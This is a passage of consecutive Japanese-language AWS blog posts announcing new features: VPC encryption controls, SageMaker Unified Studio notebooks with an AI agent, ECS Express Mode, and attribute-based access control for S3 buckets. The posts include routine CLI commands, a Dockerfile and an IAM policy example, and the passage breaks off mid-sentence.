ウィークが近づくにつれ、数多くの新特徴量やサービスのリリースが発表されています。主なリリースは次のとおりです。 新しい Amazon EC2 P6-B300 インスタンスで大規模な AI アプリケーションを高速化 ウェブサイトの配信とセキュリティに超過料金が発生しない定額料金プランのご紹介 AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア Container Network Observability を使用して、EKS クラスター全体のネットワークパフォーマンスとトラフィックをモニタリング 最新情報: 複数の組織にわたる AWS 請求とコストを一元管理するための新しい AWS Billing Transfer AWS Control Tower で Controls Dedicated エクスペリエンスを導入 Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする AWS Lambda のテナント分離モードでマルチテナントアプリケーション開発を効率化 AWS Step Functions の強化されたローカルテストでワークフロー開発を加速する AWS IAM アウトバウンド ID フェデレーションを使用して、外部サービスへのアクセスを簡素化 Amazon S3 汎用バケットの属性ベースのアクセス制御のご紹介 VPC 暗号化コントロールのご紹介: リージョンの VPC 内および VPC 間での転送中の暗号化の強制 Amazon ECS Express Mode を使用して、インフラストラクチャを複雑化することなく、本番環境に対応したアプリケーションを構築 Amazon SageMaker Unified Studio の AI エージェントが組み込まれた新しいワンクリックオンボーディングとノートブック 「aws ログイン」を使用した開発者による AWS へのアクセスの簡略化 AWS バンドル特徴量のリリースをいくつかご紹介します。 Amazon EKS は、新しい プロビジョニング済みコントロールプレーン 、 フルマネージド MCP サーバー (プレビュー)、 Amazon ECS を使用したコンソールでの 強化された AI によるトラブルシューティング を発表しました。 Amazon ECR では、 マネージドコンテナイメージ署名 、 ほとんどアクセスされないコンテナイメージ用のアーカイブストレージクラス 、 FIPS エンドポイント用の AWS PrivateLink を導入しました。 Amazon Aurora DSQL は、コンソールの 統合型クエリエディタ 、クエリプランの ステートメントレベルのコスト見積もり 、 新しい Python、Node.js、JDBC コネクタ 、最大 256 TiB のストレージボリューム を提供します。 Amazon API Gateway は、 REST API のレスポンスストリーミング 、 デベロッパーポータル機能 、 REST API 用の追加の TLS セキュリティポリシー をサポートしています。 Amazon Connect は、 音声用の会話型分析 、 通話処理を高速化するための永続的エージェント接続 、 マルチスキルエージェントスケジューリング を提供します。 Amazon CloudWatch は、 Logs Insights のスケジュール済みクエリ と EC2 でのコンソール内エージェント管理 を導入しました。 AWS CloudFormation StackSets では、 自動デプロイモードのデプロイ順序 を設定できます。スタックインスタンスが複数のアカウントとリージョンで自動的にデプロイされる順序を定義できます。 AWS NAT Gateway は リージョナルアベイラビリティ をサポートしているため、アベイラビリティーゾーン (AZ) 全体で自動的に拡張および縮小される単一の NAT ゲートウェイを作成できます。 Amazon Bedrock は、 カスタムモデルインポート用の OpenAI GPT OSS モデル 、 ガードレールのコーディングユースケース 、データ自動化の 音声分析用の追加の 10 言語 をサポートしています。 Amazon OpenSearch は、コンソールを通じたサーバーレスでの 運用上の可視性を向上させる Cluster Insights 、 バックアップと復元 、 データプレーン API の監査ログ をサポートしています。 ここで取り上げていないその他のリリースニュースについては、 AWS What’s New をご参照ください。2025 年 12 月 1 週の re:Invent でお会いしましょう。 – Channy 原文は こちら です。

2025 年 11 月 21 日、仮想プライベートクラウド (VPC) 暗号化制御を発表しました。これは Amazon Virtual Private Cloud (Amazon VPC) の新機能です。これにより、リージョンの VPC 内および VPC 間のすべてのトラフィックで転送中の暗号化を監査および強制できます。 金融サービス、医療、政府、小売業を営む組織は、クラウドインフラストラクチャ全体で暗号化コンプライアンスを維持する上で、運用が非常に複雑になっています。従来のアプローチでは、スプレッドシートを使用してさまざまなネットワークパスにわたる暗号化を手動で追跡しながら、複数のソリューションをつなぎ合わせて複雑な公開鍵基盤 (PKI) を管理する必要がありました。このプロセスは人為的ミスが発生しやすく、インフラストラクチャの規模が拡大するにつれてますます困難になります。 AWS Nitro ベースのインスタンスは、パフォーマンスに影響を与えずにハードウェアレイヤーでトラフィックを自動的に暗号化しますが、組織にはこれらの機能を VPC インフラストラクチャ全体に拡張するためのシンプルなメカニズムが必要です。これは、医療保険の携行性と責任に関する法律 (HIPAA)、ペイメントカード業界データセキュリティ基準 (PCI DSS)、米国連邦政府によるリスクおよび認証管理プログラム (FedRAMP) など、環境全体でエンドツーエンドの暗号化の証明を必要とする規制フレームワークへの準拠を実証する場合に特に重要です。組織は、パフォーマンスのトレードオフや複雑なキー管理システムを管理することなく、暗号化状態を一元的に可視化して制御する必要があります。 VPC 暗号化制御は、監視と強制という 2 つの運用モードを提供することでこれらの課題に対処します。監視モードでは、トラフィックフローの暗号化ステータスを監査し、プレーンテキストトラフィックを許可するリソースを特定できます。この機能により、VPC フローログに新しい暗号化ステータスフィールドが追加され、トラフィックが Nitro ハードウェア暗号化、アプリケーション層暗号化 (TLS)、またはその両方を使用して暗号化されているかどうかを可視化できます。 変更が必要なリソースを特定したら、暗号化を実装するための措置を講じることができます。 Network Load Balancer 、 Application Load Balancer 、 AWS Fargate タスクなどの AWS サービスは、基盤となるインフラストラクチャを Nitro ハードウェアに自動的かつ透過的に移行します。ユーザーによるアクションは不要で、サービスの中断もありません。前世代の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスなどの他のリソースについては、 モダンな Nitro ベース の インスタンスタイプ に切り替えるか、アプリケーションレベルで TLS 暗号化を設定する必要があります。 すべてのリソースが暗号化準拠のインフラストラクチャに移行されたら、強制モードに切り替えることができます。この暗号化準拠のハードウェアと通信プロトコルへの移行は、強制モードを有効にする前提条件です。 インターネットゲートウェイ や NAT ゲートウェイ など、暗号化をサポートしない (トラフィックが VPC や AWS ネットワークの外部を流れるため) リソースには、特定の除外を設定できます。 その他の リソース は暗号化に準拠している必要があり、除外することはできません。アクティベーション後、強制モードでは、今後のリソースはすべて互換性のある Nitro インスタンスでのみ作成され、誤ったプロトコルまたはポートが検出された場合は暗号化されていないトラフィックはドロップされます。 使用開始方法の説明 このデモでは、3 つの EC2 インスタンスを起動しました。1 つをポート 80 に Nginx をインストールしたウェブサーバーとして使用し、クリアテキストの HTML ページを処理します。残りの 2 つは、サーバーに対して HTTP GET リクエストを継続的に送信しています。これにより、VPC にクリアテキストトラフィックが生成されます。ウェブサーバーと 2 つのクライアントのうちの 1 つには m7g.medium インスタンスタイプを使用しています。このインスタンスタイプは、基盤となる Nitro System ハードウェアを使用して、インスタンス間の転送中のトラフィックを自動的に暗号化します。他のウェブクライアントには t4g.medium インスタンスを使用しています。そのインスタンスのネットワークトラフィックは、ハードウェアレベルで暗号化されていません。 はじめに、監視モードで暗号化制御を有効にします。 AWS マネジメントコンソール の左側のナビゲーションペインで [Your VPC] (お使いの VPC) を選択し、次に [VPC encryption controls] (VPC 暗号化制御) タブに切り替えます。 [Create encryption control] (暗号化制御を作成) を選択し、制御を作成する VPC を選択します。 各 VPC には 1 つの VPC 暗号化制御しか関連付けることができず、VPC ID と VPC 暗号化制御 ID の間に 1 対 1 の関係が構築されます。VPC 暗号化制御を作成するときに、リソースの編成と管理に役立つタグを追加できます。新しい VPC を作成する際に VPC 暗号化制御を有効にすることもできます。 この制御の 名前 を入力します。制御したい VPC を選択します。既存の VPC では、 監視モード で起動する必要があります。暗号化されていないトラフィックがないことが確認できたら 強制モード を有効にできます。新しい VPC については、作成時に暗号化を適用できます。 オプションで、既存の VPC で暗号化制御を作成するときにタグを定義できます。ただし、VPC の作成時に暗号化制御を有効にすると、VPC 暗号化制御用に個別のタグを作成することはできません。これは、VPC と同じタグが自動的に継承されるためです。準備ができたら、 [Create encryption control] (暗号化制御を作成) を選択します。 代わりに、次のように AWS コマンドラインインターフェイス (AWS CLI) を使用することもできます。 aws ec2 create-vpc-encryption-control --vpc-id vpc-123456789 次に、コンソール、コマンドライン、またはフローログを使用して VPC の暗号化ステータスを監査します。 aws ec2 create-flow-logs \ --resource-type VPC \ --resource-ids vpc-123456789 \ --traffic-type ALL \ --log-destination-type s3 \ --log-destination arn:aws:s3:::vpc-flow-logs-012345678901/vpc-flow-logs/ \ --log-format '${flow-direction} ${traffic-path} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${encryption-status}' { "ClientToken": "F7xmLqTHgt9krTcFMBHrwHmAZHByyDXmA1J94PsxWiU=", "FlowLogIds": [ "fl-0667848f2d19786ca" ], "Unsuccessful": [] } 数分後、ログに次のトラフィックが表示されます。 flow-direction traffic-path srcaddr dstaddr srcport dstport encryption-status ingress - 10.0.133.8 10.0.128.55 43236 80 1 # &lt;-- HTTP between web client and server.Encrypted at hardware-level egress 1 10.0.128.55 10.0.133.8 80 43236 1 ingress - 10.0.133.8 10.0.128.55 36902 80 1 egress 1 10.0.128.55 10.0.133.8 80 36902 1 ingress - 10.0.130.104 10.0.128.55 55016 80 0 # &lt;-- HTTP between web client and server.Not encrypted at hardware-level egress 1 10.0.128.55 10.0.130.104 80 55016 0 ingress - 10.0.130.104 10.0.128.55 60276 80 0 egress 1 10.0.128.55 10.0.130.104 80 60276 0 10.0.128.55 は、ハードウェアで暗号化されたトラフィックを使用するウェブサーバーで、アプリケーションレベルでクリアテキストトラフィックを処理します。 10.0.133.8 は、ハードウェアで暗号化されたトラフィックを使用するウェブクライアントです。 10.0.130.104 は、ハードウェアレベルで暗号化されていないウェブクライアントです。 encryption-status フィールドには、送信元アドレスと送信先アドレス間のトラフィックの暗号化ステータスが表示されます。 0 はトラフィックがクリアテキストであることを意味します 1 は、トラフィックが Nitro システムによってネットワークレイヤー (レベル 3) で暗号化されていることを意味します 2 は、トラフィックがアプリケーションレイヤー (レベル 7、TCP ポート 443、TLS/SSL) で暗号化されていることを意味します 3 は、トラフィックがアプリケーションレイヤー (TLS) とネットワークレイヤー (Nitro) の両方で暗号化されていることを意味します。 「-」は、VPC 暗号化制御が有効になっていないか、AWS Flow Logs にステータス情報がないことを意味します。 Nitro ベースではないインスタンス ( 10.0.130.104 ) のウェブクライアントから発信されたトラフィックには 0 のフラグが付けられます。Nitro ベースのインスタンス ( 10.0.133.8 ) 上のウェブクライアントから開始されたトラフィックには、 1 のフラグが付けられます。 また、コンソールを使用して変更が必要なリソースを特定します。このレポートでは、暗号化されていない 2 つのリソース (Nitro ベースではないインスタンスのインターネットゲートウェイと Elastic Network Interface (ENI) ) が報告されます。 CLI を使用して、暗号化されていないリソースを確認することもできます。 aws ec2 get-vpc-resources-blocking-encryption-enforcement --vpc-id vpc-123456789 暗号化をサポートするようにリソースを更新したら、コンソールまたは CLI を使用して強制モードに切り替えることができます。 コンソールで VPC 暗号化制御を選択します。次に、 [Actions] (アクション) と [Switch mode] (モードの切り替え) を選択します。 または、次のように同等の CLI を使用することもできます。 aws ec2 modify-vpc-encryption-control --vpc-id vpc-123456789 --mode enforce 暗号化されていないと識別されたリソースを変更するにはどうすればよいですか? すべての VPC リソースは、ハードウェアレイヤーまたはアプリケーションレイヤーでトラフィックの暗号化をサポートする必要があります。ほとんどのリソースでは、何もする必要はありません。 AWS PrivateLink と ゲートウェイエンドポイント を介してアクセスする AWS サービスは、アプリケーションレイヤーで自動的に暗号化を適用します。これらのサービスは TLS で暗号化されたトラフィックのみを受け入れます。AWS は、アプリケーションレイヤーで暗号化されていないトラフィックを自動的にドロップします。 監視モードを有効にすると、Network Load Balancer、Application Load Balancer、 AWS Fargate クラスター、 Amazon Elastic Kubernetes Service (Amazon EKS) クラスターが、本質的に暗号化をサポートするハードウェアに自動的かつ徐々に移行します。この移行は、ユーザーによる操作を必要とせずに透過的に行われます。 一部の VPC リソースでは、最新の Nitro ハードウェアレイヤー暗号化をサポートする基盤となるインスタンスを選択する必要があります。これらには、EC2 インスタンス、 Auto Scaling グループ 、 Amazon Relational Database Service (Amazon RDS) データベース ( Amazon DocumentDB を含む)、 Amazon ElastiCache のノードベースのクラスター、 Amazon Redshift でプロビジョニングされたクラスター 、 EKS クラスター 、 ECS (EC2 キャパシティーを含む) 、 MSK プロビジョンド 、 Amazon OpenSearch Service 、および Amazon EMR などがあります。Redshift クラスターを移行するには、スナップショットから新しいクラスターまたは名前空間を作成する必要があります。 新世代のインスタンスを使用する場合、最近のインスタンスタイプはすべて暗号化をサポートしているため、すでに暗号化に準拠したインフラストラクチャが用意されている可能性があります。転送中の暗号化をサポートしていない旧世代のインスタンスの場合は、サポートされているインスタンスタイプにアップグレードする必要があります。 AWS Transit Gateway を使用する際に知っておくべきこと VPC 暗号化を有効にして AWS CloudFormation 経由で Transit Gateway を作成する場合、 ec2:ModifyTransitGateway および ec2:ModifyTransitGatewayOptions という、さらに 2 つの AWS Identity and Access Management (IAM) アクセス許可が必要です。CloudFormation は 2 段階のプロセスを使用して Transit Gateway を作成するため、これらのアクセス許可が必要になります。最初に基本設定で Transit Gateway を作成し、次に ModifyTransitGateway を呼び出して暗号化サポートを有効にします。これらのアクセス許可がないと、作成操作のように見える操作のみを実行していても、暗号化設定を適用しようとすると、作成中に CloudFormation スタックが失敗します。 料金と利用可能なリージョン VPC 暗号化制御は、米国東部 (オハイオ、バージニア北部)、米国西部 (北カリフォルニア、オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (香港、ハイデラバード、ジャカルタ、メルボルン、ムンバイ、大阪、シンガポール、シドニー、東京)、カナダ (中部)、カナダ西部 (カルガリー)、欧州 (フランクフルト、アイルランド、ロンドン、ミラノ、パリ、ストックホルム、チューリッヒ)、中東 (バーレーン、UAE)、南米 (サンパウロ) の各 AWS リージョンで今すぐご利用いただけます。 VPC 暗号化制御は、2026 年 3 月 1 日まで無料でお使いいただけます。 VPC の料金ページ は、無料期間の終了日が近くなると更新され、詳細が表示されます。 詳細については、 VPC 暗号化制御のドキュメント を参照するか、AWS アカウントでお試しください。セキュリティ体制を強化し、コンプライアンス基準を満たすためにこの機能がどのように役立っているかを聞くのを楽しみにしています。 – seb 原文は こちら です。

2025 年 11 月 21 日、 Amazon SageMaker Unified Studio で既存の AWS データセットの使用をより迅速に開始するための方法を発表しました。既存の AWS Identity and Access Management (IAM) ロールと許可を使用して、組み込み AI エージェントを含む新しいサーバーレスノートブックで、アクセス可能なあらゆるデータを操作できるようになりました。 新しいアップデートには次が含まれます: ワンクリックオンボーディング – Amazon SageMaker は、 AWS Glue データカタログ 、 AWS Lake Formation 、 Amazon Simple Storage Services (Amazon S3) の既存のデータ許可をすべて備えたプロジェクトを、Unified Studio に自動的に作成できるようになりました。 直接統合 – Amazon SageMaker 、 Amazon Athena 、 Amazon Redshift 、 Amazon S3 Tables のコンソールページから SageMaker Unified Studio を直接起動できるため、分析と AI ワークロードへの迅速なパスが提供されます。 組み込み AI エージェントを含むノートブック – AI エージェントが組み込まれた新しいサーバーレスノートブックを使用できます。このノートブックは、SQL、Python、Spark、または自然言語をサポートし、データエンジニア、アナリスト、データサイエンティストが SQL クエリとコードの両方を 1 つの場所で開発および実行できるようにします。 また、SQL 分析のための クエリエディタ 、 JupyterLab 統合開発環境 (IDE)、 Visual ETL とワークフロー 、 機械学習 (ML) 機能 などの他のツールにもアクセスできます。 ワンクリックオンボーディングをお試しいただき、Amazon SageMaker Unified Studio に接続しましょう 使用を開始するには、 SageMaker コンソール に移動し、 [使用を開始] ボタンを選択します。 データとコンピューティングにアクセスできる既存の AWS Identity and Access Management (AWS IAM) ロールを選択するか、または新しいロールを作成するように求められます。 [セットアップ] を選択します。環境の設定が完了するまで数分かかります。このロールにアクセスが付与されると、SageMaker Unified Studio のランディングページに移動し、AWS Glue データカタログでアクセスできるデータセットと、使用できるさまざまな分析ツールおよび AI ツールが表示されます。 この環境では、Amazon Athena Spark、Amazon Athena SQL、AWS Glue Spark、 Amazon Managed Workflows for Apache Airflow (MWAA) といったサーバーレスコンピューティングが自動的に作成されます。&nbsp;これは、プロビジョニングを完全にスキップでき、ジャストインタイムのコンピューティングリソースを使用してすぐに作業を開始できるほか、完了すると自動的にスケールダウンして元に戻るため、コストを削減するのに役立つことを意味します。 Amazon Athena、Amazon Redshift、Amazon S3 Tables の特定のテーブルで作業を開始することもできます。例えば、Amazon Athena コンソールで [Amazon SageMaker Unified Studio でデータをクエリ] を選択し、 [使用を開始] を選択できます。 これらのコンソールから開始すると、クエリエディタに直接接続され、表示していたデータにアクセスできるようになり、以前のクエリコンテキストも保持されます。このコンテキスト認識ルーティングを使用することで、不要なナビゲーションなしで、SageMaker Unified Studio 内に入るとすぐにクエリを実行できます。 組み込み AI エージェントを含むノートブックの開始方法 Amazon SageMaker は、データチームと AI チームに、分析と ML ジョブのための高性能なサーバーレスプログラミング環境を提供する新しいノートブックエクスペリエンスを導入します。新しいノートブックエクスペリエンスには、Amazon SageMaker Data Agent が含まれています。これは、自然言語プロンプトからコードと SQL ステートメントを生成し、タスクを通じてユーザーをガイドすることで開発を加速する組み込み AI エージェントです。 新しいノートブックを開始するには、左側のナビゲーションペインで [ノートブック] メニューを選択して、SQL クエリ、Python コード、自然言語を実行し、データに関するインサイトを明らかにし、変換、分析、視覚化、共有できます。顧客分析や小売売上予測などのサンプルデータから開始できます。 顧客の使用状況の分析のサンプルプロジェクトを選択すると、サンプルノートブックを開いて、通信データセット内の顧客の使用パターンと行動を詳しく調べることができます。 前述のとおり、ノートブックには、自然言語プロンプトを通じてデータを操作するのに役立つ組み込み AI エージェントが含まれています。例えば、次のようなプロンプトを使用してデータ検出を開始できます: Show me some insights and visualizations on the customer churn dataset. 関連するテーブルを特定したら、特定の分析をリクエストして Spark SQL を生成できます。AI エージェントは、データ変換用の初期コードとビジュアライゼーション用の Python コードを含む、ステップバイステップのプランを作成します。生成されたコードの実行中にエラーメッセージが表示された場合は、 [AI で修正] を選択して解決のヘルプを参照してください。結果の例を次に示します: ML ワークフローでは、次のような具体的なプロンプトを使用します: Build an XGBoost classification model for churn prediction using the churn table, with purchase frequency, average transaction value, and days since last purchase as features. このプロンプトは、ステップバイステップのプラン、データのロード、特徴量エンジニアリング、SageMaker AI 機能を使用したモデルトレーニングコード、評価メトリクスなど、構造化された応答を受け取ります。SageMaker Data Agent は、具体的なプロンプトで最も効果的に機能し、Athena for Apache Spark や SageMaker AI などの AWS のデータ処理サービス向けに最適化されています。 新しいノートブックエクスペリエンスの詳細については、「 Amazon SageMaker Unified Studio ユーザーガイド 」にアクセスしてください。 今すぐご利用いただけます Amazon SageMaker Unified Studio のワンクリックオンボーディングと新しいノートブックエクスペリエンスは、米国東部 (オハイオ)、米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ムンバイ)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、欧州 (フランクフルト)、欧州 (アイルランド) の各リージョンでご利用いただけるようになりました。詳細については、 SageMaker Unified Studio の製品ページ にアクセスしてください。 SageMaker コンソール でお試しいただき、 AWS re:Post for SageMaker Unified Studio に、または通常の AWS サポートの連絡先を通じて、ぜひフィードバックをお寄せください。 – Channy 原文は こちら です。

コンテナ化されたアプリケーションを本番環境にデプロイするには、ロードバランサー、自動スケーリングポリシー、ネットワーク、セキュリティグループにわたる何百もの設定パラメータを操作する必要があります。このオーバーヘッドにより、市場投入までの時間が遅れ、コアアプリケーション開発から焦点がずれてしまいます。 2025 年 11 月 21 日、Amazon ECS Express Mode を発表できたことを嬉しく思います。これは、 Amazon Elastic Container Service (Amazon ECS) の新機能で、1 つのコマンドで可用性が高くスケーラブルなコンテナ化されたアプリケーションを起動するのに役立ちます。ECS Express Mode は、シンプルな API を使用して、ドメイン、ネットワーク、負荷分散、自動スケーリングなどのインフラストラクチャのセットアップを自動化します。つまり、 Amazon Web Services (AWS) のベストプラクティスを使用して自信を持ってデプロイしながら、アプリケーションの構築に集中できます。さらに、アプリケーションが進化して高度な機能が必要になった場合でも、Amazon ECS を含むリソースの全機能をシームレスに設定してアクセスできます。 Amazon ECS Express Mode の使用を開始するには、 Amazon ECS コンソールに移動します。 Amazon ECS Express Mode は、AWS 全体で一般的に使用されるリソースを作成するための新たな統合により、Amazon ECS サービスリソースへのシンプルなインターフェイスを提供します。ECS Express Mode は、ECS クラスター、タスク定義、Application Load Balancer、自動スケーリングポリシー、Amazon Route 53 ドメインを 1 つのエントリポイントから自動的にプロビジョニングして設定します。 ECS Express Mode の使用を開始する Amazon ECS Express Mode の使用方法を順を追って説明します。ここでは、コンテナ化されたアプリケーションを最も迅速にデプロイできるコンソールエクスペリエンスに焦点を当てます。 この例では、Flask フレームワークを利用した Python 上で動作するシンプルなコンテナイメージアプリケーションを使用しています。こちらが、このデモの Dockerfile です。これを Amazon Elastic Container Registry (Amazon ECR) リポジトリにプッシュしました。 # Build stage FROM python:3.6-slim as builder WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir --user -r requirements.txt gunicorn # Runtime stage FROM python:3.6-slim WORKDIR /app COPY --from=builder /root/.local /root/.local COPY app.py . ENV PATH=/root/.local/bin:$PATH EXPOSE 80 CMD ["gunicorn", "--bind", "0.0.0.0:80", "app:app"] [Express Mode] ページで、 [Create] (作成) を選択します。インターフェイスが合理化されました。Amazon ECR からコンテナイメージ URI を指定してから、タスク実行ロールとインフラストラクチャロールを選択します。これらのロールをまだお持ちでない場合は、ドロップダウンから [Create new role] (新しいロールを作成) を選択して、 AWS Identity and Access Management (IAM) 管理ポリシーからロールを作成してください。 デプロイをカスタマイズしたい場合は、 [Additional configurations] (その他の設定) セクションを拡張して、クラスター、コンテナポート、ヘルスチェックパスや環境変数を定義できます。 このセクションでは、CPU、メモリ、またはスケーリングポリシーを調整することもできます。 Amazon CloudWatch Logs でのログのセットアップは、必要に応じてアプリケーションのトラブルシューティングができるように、常に設定するようにしています。設定に問題がなければ、 [Create] (作成) を選択します。 [Create] (作成) を選択すると、Express Mode が自動的に完全なアプリケーションスタックをプロビジョニングします。これには、 AWS Fargate タスクを含む Amazon ECS サービス、ヘルスチェック機能付き Application Load Balancer、CPU 使用率に基づく自動スケーリングポリシー、セキュリティグループとネットワーク設定、AWS が提供する URL を含むカスタムドメインなどがあります。 [Resources] (リソース) タブの [Timeline view] (タイムラインビュー) でも進捗状況を確認できます。 プログラムによるデプロイが必要な場合でも、次の AWS コマンドラインインターフェイス (AWS CLI) コマンド 1 つで同じ結果が得られます。 aws ecs create-express-gateway-service \ --image [ACCOUNT_ID].ecr.us-west-2.amazonaws.com/myapp:latest \ --execution-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] \ --infrastructure-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] 完了すると、コンソールにアプリケーション URL が表示され、実行中のアプリケーションにすぐにアクセスできます。 アプリケーションを作成したら、ECS サービスにおいて指定されたクラスター、または指定しなかった場合はデフォルトクラスターにアクセスして詳細を確認し、パフォーマンスをモニタリングしたり、ログを表示したり、デプロイを管理したりできます。 アプリケーションを新しいコンテナバージョンで更新する必要がある場合は、コンソールに戻って Express サービスを選択し、 [Update] (更新) を選択します。このインターフェイスを使用して、新しいイメージ URI を指定したり、リソースの割り当てを調整したりできます。 または、次のように、AWS CLI を使用して更新することもできます。 aws ecs update-express-gateway-service \ --service-arn arn:aws:ecs:us-west-2:[ACCOUNT_ID]:service/[CLUSTER_NAME]/[APP_NAME] \ --primary-container '{ "image": "[IMAGE_URI]" }' このエクスペリエンスで、全体的にセットアップの複雑さを軽減しながら、より高度な設定が必要なときでも、基盤となるすべてのリソースにアクセスできることがわかりました。 その他の情報 ECS Express Mode に関するその他の事項は次のとおりです。 利用できるリージョン – ECS Express Mode は、ローンチの際にすべての AWS リージョン でご利用いただけます。 Infrastructure as Code のサポート – AWS CloudFormation 、 AWS Cloud Development Kit (CDK) 、Terraform などの IaC ツールを利用して、Amazon ECS Express Mode を使ってアプリケーションをデプロイできます。 料金 – Amazon ECS Express Mode の使用に追加料金はかかりません。アプリケーションを起動して実行するために作成した AWS リソースに料金がかかります。 Application Load Balancer の共有 – 作成された ALB は、ホストヘッダーベースのリスナールールを使用して最大 25 の ECS サービス間で自動的に共有されます。これにより、ALB のコストを大幅に分散できます。 Amazon ECS コンソールから Amazon ECS Express Mode の使用を開始してください。詳細については、 Amazon ECS のドキュメント ページをご覧ください。 構築がうまくいきますように! –&nbsp; Donnie 原文は こちら です。

組織の規模が拡大するにつれて、ストレージリソースのアクセス許可の管理はますます複雑になり、時間がかかるようになっています。新しいチームメンバーが加わり、既存のスタッフの役割が変わり、新しい S3 バケットが作成されるにつれて、組織は複数のタイプのアクセスポリシーを絶えず更新して、S3 バケット全体のアクセス権を管理する必要があります。この課題は、管理者がこれらのポリシーを頻繁に更新して共有データセットや多数のユーザーのアクセス権を制御する必要があるマルチテナント S3 環境で特に顕著です。 2025 年 11 月 20 日、 Amazon Simple Storage Service (S3) 汎用バケット用の 属性ベースのアクセス制御 (ABAC) を導入しました。これは、S3 汎用バケットでタグを使用してデータへのアクセス権を制御することにより、ユーザーとロールのアクセス許可を自動的に管理できる新機能です。アクセス許可を個別に管理する代わりに、タグベースの IAM ポリシーまたはバケットポリシーを使用して、ユーザー、ロール、S3 汎用バケット間のタグに基づいてアクセスを自動的に許可または拒否できます。タグベースの認証により、バケット名の代わりにプロジェクト、チーム、コストセンター、データ分類、またはその他のバケット属性に基づいて S3 アクセス権を簡単に付与できるため、大規模な組織のアクセス許可の管理が大幅に簡素化されます。 ABAC の仕組み 一般的なシナリオは次のとおりです。管理者として、開発環境で使用する予定のすべての S3 バケットへのアクセス権をデベロッパーに付与したいと考えています。 ABAC を使用すると、開発環境の S3 バケットに environment:development などのキーと値のペアをタグ付けし、同じ environment:development タグにチェックが入っている AWS Identity and Access Management (IAM) プリンシパルに ABAC ポリシーをアタッチできます。バケットタグがポリシーの条件と一致する場合、プリンシパルにアクセス権が付与されます。 これがどのように機能するか見てみましょう。 使用の開始 まず、タグベースの認証を使用したい各 S3 汎用バケットで ABAC を明示的に有効にする必要があります。 Amazon S3 コンソール に移動し、汎用バケットを選択してから [Properties] (プロパティ) に移動すると、このバケットに対して ABAC を有効にするオプションが表示されます。 また、 AWS コマンドラインインターフェイス (AWS CLI) を使用して、新しい PutBucketAbac API を使用してプログラムで有効にすることもできます。ここでは、米国東部 (オハイオ) us-east-2 AWS リージョン にある my-demo-development-bucket というバケットで ABAC を有効にしています。 aws s3api put-bucket-abac --bucket my-demo-development-bucket abac-status Status=Enabled --region us-east-2 または、 AWS CloudFormation を使用している場合は、テンプレートの AbacStatus プロパティを [Enabled] (有効) に設定して ABAC を有効にすることもできます。 次に、S3 汎用バケットにタグを付けましょう。タグベースの認証の基準となる environment:development タグを追加します。 S3 バケットにタグが付けられたので、 environment:development タグが一致することを検証する ABAC ポリシーを作成し、dev-env-role という IAM ロールにアタッチします。このロールへのデベロッパーのアクセス権を管理することで、すべての開発環境バケットに対するアクセス許可を 一元的に 制御できます。 IAM コンソール に移動し、 [Policies] を選択し、 [ポリシーの作成] を選択します。&nbsp; [Policy editor] (ポリシーエディタ) で JSON ビューに切り替え、ユーザーが S3 オブジェクトの読み取り、書き込み、一覧表示を行えるようにするポリシーを作成します。ただし、これは、ユーザーに「environment」というキーが付けられたタグがあり、その値が S3 バケットで宣言されている値と一致する場合に限られます。このポリシーに s3-abac-policy という名前を付けて保存します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "s3:ListBucket" ], "Resource": [ "*" ], "Condition": { "StringEquals": { "aws:ResourceTag/environment": "development" } } } ] } 次に、この s3-abac-policy を dev-env-role にアタッチします。 これで完了です。 これで、dev-role を引き受けるユーザーは、my-demo-development-bucket などの environment:development タグが付いたどの ABAC 対応バケットにもアクセスできるようになりました。 既存のタグを使用する ABAC には既存のタグを使用できますが、これらのタグはアクセス制御に使用されることになるため、この機能を有効にする前に現在のタグ設定を確認することをおすすめします。これには、意図しないアクセスを防ぐために既存のバケットタグとタグベースのポリシーを確認することや、標準の TagResource API を使用するようにタグ付けワークフローを更新することが含まれます (バケットで ABAC を有効にすると、PutBucketTagging API の使用がブロックされるため)。 AWS Config を使用して、どのバケットで ABAC が有効になっているかを確認したり、 AWS Cloudtrail 管理イベントを使用してアプリケーションの PutBucketTagging API の使用状況を確認したりできます。 さらに、ABAC に使用するのと同じタグを、S3 バケットのコスト配分タグとしても使用できます。これらを AWS 請求コンソール または API でコストアロケーションタグとして有効にすると、 AWS Cost Explorer と Cost and Usage Reports はこれらのタグに基づいて支出データを自動的に整理します。 作成時にタグを強制する 組織全体のアクセス制御を標準化しやすくするために、サービスコントロールポリシー (SCP) または IAM ポリシーによってバケットを作成するときに、 aws:TagKeys と aws:RequestTag 条件キーを使用して、タグ付けを強制できるようになりました。その後、これらのバケットで ABAC を有効にして、組織全体で一貫したアクセス制御パターンを提供できます。作成時にバケットにタグを付けるには、CloudFormation テンプレートにタグを追加するか、既存の S3 CreateBucket API への呼び出しのリクエスト本文にタグを指定できます。例えば、デベロッパーに environment=development というタグが付いたバケットを作成するポリシーを適用して、コスト割り当てのためにすべてのバケットに正確にタグを付けることができます。アクセス制御に同じタグを使用したい場合は、これらのバケットで ABAC を有効にできます。 知っておくべきこと Amazon S3 用の ABAC では、S3 バケット全体にスケーラブルなタグベースのアクセス制御を実装できるようになりました。この機能により、アクセスコントロールポリシーの作成が簡単になり、プリンシパルやリソースの出入によるポリシーの更新の必要性が減ります。これにより、規模を拡大しても強力なセキュリティガバナンスを維持しながら、管理オーバーヘッドを削減できます。 Amazon S3 汎用バケット用の属性ベースのアクセス制御は、 AWS マネジメントコンソール 、API、 AWS SDK 、AWS CLI、および AWS CloudFormation で追加料金なしで利用できるようになりました。 Amazon S3 の料金表 に従って、標準 API リクエスト料金がかかります。S3 リソースのタグストレージに追加料金はかかりません。 AWS CloudTrail を使用してアクセスリクエストを監査し、リソースへのアクセスを許可または拒否したポリシーを把握できます。 ABAC は、S3 ディレクトリバケット、S3 アクセスポイント、S3 テーブル、バケット、テーブルなど、他の S3 リソースでも使用できます。S3 バケットでの 